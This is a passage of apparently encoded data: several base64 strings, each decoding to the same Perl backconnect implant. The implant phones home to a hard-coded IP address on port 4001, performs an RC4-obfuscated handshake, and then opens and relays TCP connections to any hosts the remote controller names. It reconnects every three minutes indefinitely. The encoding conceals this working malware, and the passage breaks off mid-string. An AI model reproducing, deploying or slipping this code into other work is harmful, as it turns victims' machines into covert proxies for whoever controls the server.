XQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZ